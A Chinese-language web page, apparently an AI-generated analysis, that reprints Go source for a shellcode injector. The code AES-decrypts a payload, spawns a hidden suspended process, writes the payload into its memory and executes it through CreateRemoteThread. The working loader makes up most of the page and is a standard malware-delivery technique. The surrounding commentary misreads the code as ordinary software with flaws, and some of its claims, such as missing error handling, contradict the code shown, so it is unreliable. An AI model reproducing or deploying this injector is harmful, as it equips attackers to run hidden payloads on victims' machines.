这段代码的主要功能是将加密的 Shellcode 注入到一个目标进程中并执行。具体流程如下:

  1. 通过 AES 解密 Shellcode。

  2. 调用 loadProcess 函数创建一个挂起的进程,并获取其进程信息。

  3. 调用 VirtualAllocEx 函数在目标进程中分配内存,并将 Shellcode 写入其中。

  4. 调用 VirtualProtectEx 函数修改内存区域的保护权限,将其设置为可执行。

  5. 调用 CreateRemoteThread 函数在目标进程中创建一个远程线程,并将其设置为从分配的内存区域中开始执行。

  6. 关闭目标进程的句柄。

需要注意的是,代码中使用了一些系统调用(如 VirtualAllocEx、WriteProcessMemory、VirtualProtectEx 等),这些调用在不当使用时可能会导致安全问题。因此,在使用此代码时需要仔细检查和测试,确保没有漏洞和安全隐患。

代码分析:

package main

import (
	"crypto/aes"
	"os"
	"syscall"
	"unsafe"
	"strings"
	"strconv"
	"crypto/cipher"
	"errors"
)


const (
	MEM_COMMIT                = 0x1000
	MEM_RESERVE               = 0x2000
	PAGE_READWRITE            = 0x4
	PAGE_EXECUTE_READ         = 0x20
	PAGE_EXECUTE_READWRITE    = 0x40
	PROCESS_CREATE_THREAD     = 0x0002
	PROCESS_QUERY_INFORMATION = 0x0400
	PROCESS_VM_OPERATION      = 0x0008
	PROCESS_VM_WRITE          = 0x0020
	PROCESS_VM_READ           = 0x0010
	CREATE_SUSPENDED          = 0x4
	CREATE_NO_WINDOW          = 0x8000000
)

var (
	kernel32            = syscall.MustLoadDLL("kernel32.dll")
	ntdll               = syscall.MustLoadDLL("ntdll.dll")

	RtlCopyMemory       = ntdll.MustFindProc("RtlCopyMemory")

	VirtualAlloc        = kernel32.MustFindProc("VirtualAlloc")
	VirtualAllocEx      = kernel32.MustFindProc("VirtualAllocEx")
	VirtualProtectEx    = kernel32.MustFindProc("VirtualProtectEx")
	WriteProcessMemory  = kernel32.MustFindProc("WriteProcessMemory")
	OpenProcess         = kernel32.MustFindProc("OpenProcess")
	CreateRemoteThread  = kernel32.MustFindProc("CreateRemoteThread")
	closeHandle         = kernel32.MustFindProc("CloseHandle")
)


func decrypt(key []byte, ciphertext []byte) ([]byte, error) {
	c, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}

	gcm, err := cipher.NewGCM(c)
	if err != nil {
		return nil, err
	}

	nonceSize := gcm.NonceSize()
	if len(ciphertext) < nonceSize {
		return nil, errors.New("ciphertext too short")
	}

	nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]
	return gcm.Open(nil, nonce, ciphertext, nil)
}


func StringBytesParseString(byteString string) (string, error) {
	byteString = strings.TrimSuffix(byteString, "]")
	byteString = strings.TrimLeft(byteString, "[")
	sByteString := strings.Split(byteString, " ")
	var res []byte
	for _, s := range sByteString {
		i, err := strconv.ParseUint(s, 10, 64)
		if err != nil {
			return "", err
		}
		res = append(res, byte(i))
	}

	return string(res), nil
}

func loadProcess(target string) *syscall.ProcessInformation {
	var si syscall.StartupInfo
	var pi syscall.ProcessInformation

	commandLine, err := syscall.UTF16PtrFromString(target)

	if err != nil {
		panic(err)
	}

	err = syscall.CreateProcess(
		nil,
		commandLine,
		nil,
		nil,
		false,
		CREATE_SUSPENDED | CREATE_NO_WINDOW,
		nil,
		nil,
		&si,
		&pi)

	if err != nil {
		panic(err)
	}

	return &pi
}

func main() {


	/* decrypt shellcode using AES */
	shellcode, err := decrypt([]byte(key), []byte(bytesPayload)); if err != nil {
		os.Exit(1)
	}

	/* spawn target process */
	process := loadProcess(target)
	oldProtectCfg := PAGE_READWRITE

	 /* allocating the appropriate amount of memory */
	baseAddr, _, err := VirtualAllocEx.Call(
		uintptr(process.Process),
		0,
		uintptr(len(shellcode)),
		MEM_COMMIT | MEM_RESERVE,
		PAGE_READWRITE,
	)
		if err.Error() != "The operation completed successfully." {
			os.Exit(1)
		}

	/* overwriting process memory with our shellcode */
	_, _, err = WriteProcessMemory.Call(
		uintptr(process.Process),
		baseAddr,
		uintptr(unsafe.Pointer(&shellcode[0])),
		uintptr(len(shellcode)),
		0,
	)
		if err.Error() != "The operation completed successfully." {
			os.Exit(1)
		}

	/* changing permissions for our memory segment */
	_, _, err = VirtualProtectEx.Call(
		uintptr(process.Process),
		baseAddr,
		uintptr(len(shellcode)),
		PAGE_EXECUTE_READ,
		uintptr(unsafe.Pointer(&oldProtectCfg)),
	)
		if err.Error() != "The operation completed successfully." {
			os.Exit(1)
		}

	/* load remote thread */
	_, _, err = CreateRemoteThread.Call(uintptr(process.Process), 0, 0, baseAddr, 0, 0, 0)
		if err.Error() != "The operation completed successfully." {
			os.Exit(1)
		}

	/* close process handler */
	_, _, err = closeHandle.Call(uintptr(process.Process))
	if err.Error() != "The operation completed successfully." {
		os.Exit(1)
	}
}

代码安全性和潜在问题:

  1. **硬编码的密钥和 Shellcode:**代码中直接使用硬编码的密钥和 Shellcode,这使得代码容易受到攻击。攻击者可以轻松地获取密钥和 Shellcode,并对其进行修改或替换。

  2. **系统调用使用不当:**代码使用了一些系统调用,例如 VirtualAllocEx、WriteProcessMemory 和 VirtualProtectEx,这些调用如果使用不当可能会导致安全问题。例如,如果分配的内存区域过大,或者 Shellcode 中存在漏洞,攻击者可能会利用这些漏洞来获取系统控制权。

  3. **错误处理不完善:**代码中只对部分错误进行了处理,例如在调用 decrypt 函数时对解密错误进行了处理。对于其他系统调用的错误,代码没有进行处理,这可能会导致程序崩溃或出现其他异常行为。

  4. **缺少代码签名验证:**代码没有进行代码签名验证,这使得攻击者可以轻松地修改或替换代码,从而执行恶意操作。

建议:

  1. 不要使用硬编码的密钥和 Shellcode,而是使用安全的方式来存储和加载密钥和 Shellcode。

  2. 仔细检查和测试代码,确保没有漏洞和安全隐患。

  3. 完善错误处理机制,对所有可能出现的错误进行处理。

  4. 对代码进行代码签名验证,防止攻击者修改或替换代码。

结论:

这段代码展示了使用 Go 语言进行 Shellcode 注入的基本原理,但存在一些安全问题。在实际应用中,需要对代码进行安全审计,并采取相应的安全措施来防止攻击。

Go 语言 Shellcode 注入代码分析

原文地址: https://www.cveoy.top/t/topic/oLg4 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录